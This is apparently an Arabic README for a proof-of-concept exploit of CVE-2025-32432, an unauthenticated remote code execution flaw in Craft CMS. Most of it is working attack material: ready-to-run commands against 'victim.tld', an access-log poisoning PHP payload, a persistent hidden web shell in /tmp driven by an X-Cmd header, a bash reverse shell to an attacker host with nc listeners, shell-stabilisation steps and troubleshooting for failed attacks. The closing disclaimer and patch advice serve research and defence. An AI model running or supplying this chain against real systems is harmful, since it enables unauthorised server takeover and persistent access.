
PoC عملي لـ CVE-2025-32432 - Craft CMS <= 5.6.16 RCE غير مصادق عليه عبر أداة Yii2 PhpManager + تسميم سجل الوصول لـ nginx
برهان مفهوم عامل لـ CVE-2025-32432، وهي ثغرة تنفيذ أوامر عن بعد دون مصادقة في Craft CMS الإصدارات حتى 5.6.16 (وتؤثر أيضًا على السلاسل 4.x و 3.x في مسارات الكود المكافئة).
كلمات البحث: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
الوضع الافتراضي يستهدف تثبيتات Craft CMS العادية. تم تضمين علامة --lab
لتحدي carangueijada-20 من مشروع
hacklab-platform،
الذي يحجب Craft خلف كعكة جلسة مخصصة.
المكون المتأثر: craft\controllers\AssetsController::actionGenerateTransform.
تم تسجيل الإجراء كـ allowAnonymous، لذلك لا يلزم مصادقة. يقبل معامل POST
handle والذي يتم نشره بعد ذلك في استدعاء Craft::createObject():
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
عندما يكون $handle مصفوفة ترابطية تحت سيطرة المهاجم، فإن النشر يحقن
مفاتيح عشوائية في إعداد المُنشئ. على وجه الخصوص، يتم تفسير مفتاح يبدأ بـ
as بواسطة yii\base\Component::__set كمرفق سلوك، والذي يستدعي
Yii::createObject($config) على القيمة قبل أي فحص نوع:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
أضاف إصلاح Yii2 في 2.0.50 حماية is_subclass_of($value['class'], Behavior::class)
لهذا الفرع؛ التثبيتات الثغرة (Yii2 <= 2.0.49، أو الفحص المُزال سابقًا)
تتجاوز الحماية بالكامل.
yii\rbac\PhpManagerPhpManager هي فئة Yii2 قياسية. تستدعي init() دالة load()، والتي تستدعي
loadFromFile($this->itemFile). loadFromFile حرفيًا هي:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require يوزع أي ملف على القرص كـ PHP. إذا كان الملف يحتوي على كتلة
<?php ... ?>، يتم تشغيل تلك الكتلة في العامل. من خلال توجيه itemFile
إلى ملف يتحكم المهاجم في محتواه، يتم تحقيق تنفيذ أوامر كامل.
access.logالمستودع (sink) الموثوق عبر التثبيتات هو سجل nginx بتنسيق المشترك
access.log. يسجل User-Agent الخاص بالطلب كما هو، بما في ذلك
الأحرف غير القابلة للطباعة ومعظم علامات الترقيم. بإرسال طلب
User-Agent الخاص به هو <?php system('id'); exit; ?>، يقوم المهاجم
بزرع كتلة PHP في مسار معروف. ثم توجيه itemFile إلى
/var/log/nginx/access.log يؤدي إلى require للسجل، مما ينفذ كل
كتلة <?php ... ?> بالترتيب.
هناك نقطتان دقيقتان مهمتان:
" إلى \x22
في التنسيق المشترك، مما يكسر تحليل PHP للسطر. استخدم علامات الاقتباس
المفردة أو دالة chr() للربط.exit; في النهاية حتى يتوقف require قبل تحليل سجلات لاحقة
قد تحتوي على حمولات مشوهة أخرى.| المكون | قابل للثغرة | مصحح |
|---|---|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Craft 5.6.17 يضيف فحص ImageTransformerInterface على فئة المحول.
Yii2 2.0.50 يضيف فحص صنف فرعي Behavior داخل Component::__set.
أي من الإصلاحين وحده يغلق سلسلة الأجهزة هذه.
requests (pip install -r requirements.txt)assetId صالح من Craft على الهدف. الافتراضي هو 2؛ يمكن التجاوز مع
-a <id> إذا لزم الأمر (عادة ما يكون asset id 1 هو الصورة الرمزية للمشرف).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile مخصص (مسار سجل مختلف، جلسة FPM، إلخ.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
يعمل مختبر carangueijada-20 من
hacklab-platform على
حماية تثبيت Craft خلف كعكة coopsess الصادرة عن PATCH /login.
تتعامل علامة --lab مع تلك المصافحة تلقائياً.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
تأكد من أن www.carangueijada.coop تحل إلى IP المختبر (أضف إلى
/etc/hosts إذا لزم الأمر).
علامة --revshell تطلق اتصال عكسي bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
في الخلفية، بحيث يعود طلب gadget على الفور.
تدفق نافذتين (الأكثر موثوقية):
# الطرفية 1 - المستمع على جهازك
nc -lvnp 4444
# الطرفية 2 - إطلاق الاستغلال
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
تدفق نافذة واحدة مع مستمع مدمج:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen يقوم بتشغيل nc -lvnp <lport> في نفس الطرفية قبل
إطلاق الحمولة. Ctrl+C للخروج عند الانتهاء.
جلسة نموذجية (مختبر):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# في المستمع:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
تثبيت الشل (بعد الاتصال، قم بتشغيل داخل الشل العكسي):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Ctrl+Z لخلفية nc
stty raw -echo; fg
# اضغط Enter مرتين
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
في التشغيل الأول، يقوم الاستغلال بتسميم access.log مرة واحدة لإسقاط
غلاف PHP مخفي في /tmp/.cve32432_w.php. يقرأ الغلاف رأس HTTP X-Cmd
ويشغل system($_SERVER['HTTP_X_CMD']). كل عملية إرسال لاحقة توجه itemFile
إلى ملف الغلاف وتمرر الأمر عبر الرأس. لا مزيد من التسميم، لا مزيد من تلوث السجل،
لا مزيد من فشل "أول كتلة <?php exit; تفوز".
إذا كنت ترغب في فرض إعادة الإسقاط، احذف /tmp/.cve32432_w.php على الهدف
(يمكنك القيام بذلك من خلال الغلاف نفسه: --cmd 'rm /tmp/.cve32432_w.php').
تشغيل ناجح ضد هدف جديد:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
التراجع عند تلوث السجل (تم استغلال الهدف سابقًا، حمولة أقدم تخرج قبل حمولتك):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform يصل إلى
AssetsController::actionGenerateTransform.$config = ['class' => ImageTransform::class, ...$handle].
handle[as gadget] ينجو من النشر.Craft::createObject($config) يستدعي
Yii::$container->get(ImageTransform::class, [], $config)، والذي
يقوم بإنشاء ImageTransform وكتابة كل مفتاح باقٍ من التهيئة عبر
$transform->{$key} = $value.as gadget، يطابق Component::__set البادئة as
ويستدعي Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']).Yii::createObject يقوم ببناء PhpManager، وتشغيل __construct()
ثم init().PhpManager::init() -> load() -> loadFromFile($this->itemFile)
-> require '/var/log/nginx/access.log'.<?php ... ?> تنفذ في العامل.system($cmd) و exit;. يظهر الإخراج
في نص الاستجابة حيث كانت كتلة <?php موجودة نصيًا.| الأعراض | السبب | الإصلاح |
|---|---|---|
HTTP 400 + "could not verify your data submission" / "Pedido invalido" | رمز CSRF غير مرتبط بالكوكي المستخدم في POST | يستخدم السكربت requests.Session واحد؛ إذا أعدت التنفيذ، تأكد من أن وعاء الكوكي يحتفظ بـ CRAFT_CSRF_TOKEN بين session-info و POST. |
HTTP 403 على /actions/... | بادئة المسار أو vhost خاطئ | استخدم -p /prefix لمطابقة مكان تثبيت Craft؛ تأكد من أن رأس Host يطابق التثبيت. |
csrfTokenValue فارغ / session-info يرجع HTML | رأس Accept خاطئ | يرسل السكربت Accept: application/json بالفعل؛ إذا أزلته، أعد وضعه. |
| الإخراج لا يظهر أمرك أبدًا | يحتوي access.log بالفعل على حمولة أقدم من <?php ... exit; ?> تعمل أولاً | قم بتدوير / اقتطاع السجل على الهدف. إذا كان لديك فقط RCE كـ id، انتظر حتى تدوير السجل التالي، أو انتقل عبر ملف PHP قابل للكتابة (مثل /tmp/wrapper.php مع system($_SERVER['HTTP_X_CMD']);) واستخدمه كـ itemFile في المستقبل. |
assetId not found | معرف خاطئ لهذا التثبيت | تصفح عناوين URL العامة للأصول لتعداد المعرفات، أو جرب -a 1 ثم -a 3..N. |
| الهدف مصحح | Craft >= 5.6.17 أو Yii2 >= 2.0.50 | السلسلة مغلقة؛ ابحث عن فئة أخرى ثغرة أو انتقل إلى هدف آخر. |
| الحمولة تسبب خطأ PHP فادح | تحتوي إدخالات السجل الأقدم على PHP مشوه تكسر المحلل قبل كتلتك | نفس إصلاح السجل الملوث: قم بتدوير السجل. |
إذا كان بإمكانك تشغيل id فقط بشكل موثوق (لأن تسميم exit; أقدم أقفل السلسلة)، فإن أحد الحلول القابلة للتطبيق هو جعل ذلك الأمر الواحد من فئة id يكتب غلاف PHP إلى مسار تتحكم فيه، ثم تغيير itemFile إلى ذلك المسار لكل الطلبات اللاحقة:
# تسميم لمرة واحدة بأمر يقوم بإسقاط /tmp/w.php كـ www-data
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# قم بتشفير CMD كـ chr() ...
ثم استدع:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
كل إرسال لاحق يقرأ /tmp/w.php (ملف PHP نظيف لا شيء قبله غير حمولتنا) ويشغل الأمر من رأس X-Cmd. قم بتكييف السكربت إذا كنت ترغب في هذا كوضع مدمج.
.
├── exploit.py # PoC
├── README.md # هذا الملف
├── requirements.txt # تبعيات Python (فقط `requests`)
└── LICENSE # MIT
Component.php (المراجعة الثغرة): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.phpهذا البرهان المفاهيمي يُنشر للبحث الدفاعي، الاستخدام التعليمي، واختبار الاختراق المصرح به فقط. تشغيله ضد أنظمة لا تملكها أو ليس لديك إذن كتابي لاختبارها غير قانوني في معظم الدول. المؤلف لا يتحمل أي مسؤولية عن سوء الاستخدام.
إذا كنت تدير تثبيت Craft CMS، قم بالترقية إلى 5.6.17 أو أحدث (أو إصدار التصحيح المقابل لـ 4.x / 3.x). الثغرة قابلة للاستغلال ببساطة وقد تم استخدامها في حملات حقيقية موثقة من قبل SensePost.
MIT. انظر LICENSE.